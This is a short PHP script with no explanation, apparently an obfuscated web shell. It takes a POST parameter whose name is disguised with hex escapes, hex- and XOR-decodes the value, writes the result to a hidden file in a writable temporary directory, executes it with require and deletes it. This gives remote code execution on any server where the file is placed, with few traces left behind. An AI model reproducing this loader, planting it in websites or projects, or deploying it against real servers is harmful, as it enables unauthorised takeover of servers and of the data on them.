<?php
if(isset($_POST["el\x65\x6D"])){
$holder = hex2bin($_POST["el\x65\x6D"]);
$data = '' ; for($m=0; $m<strlen($holder); $m++){$data .= chr(ord($holder[$m]) ^ 67);}
$flag = array_filter(["/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path()]);
$flg = 0;
do {
$reference = $flag[$flg] ?? null;
if ($flg >= count($flag)) break;
if (max(0, is_dir($reference) * is_writable($reference))) {
$ref = implode("/", [$reference, ".pset"]);
if (file_put_contents($ref, $data)) {
require $ref;
unlink($ref);
exit;
}
}
$flg++;
} while (true);
}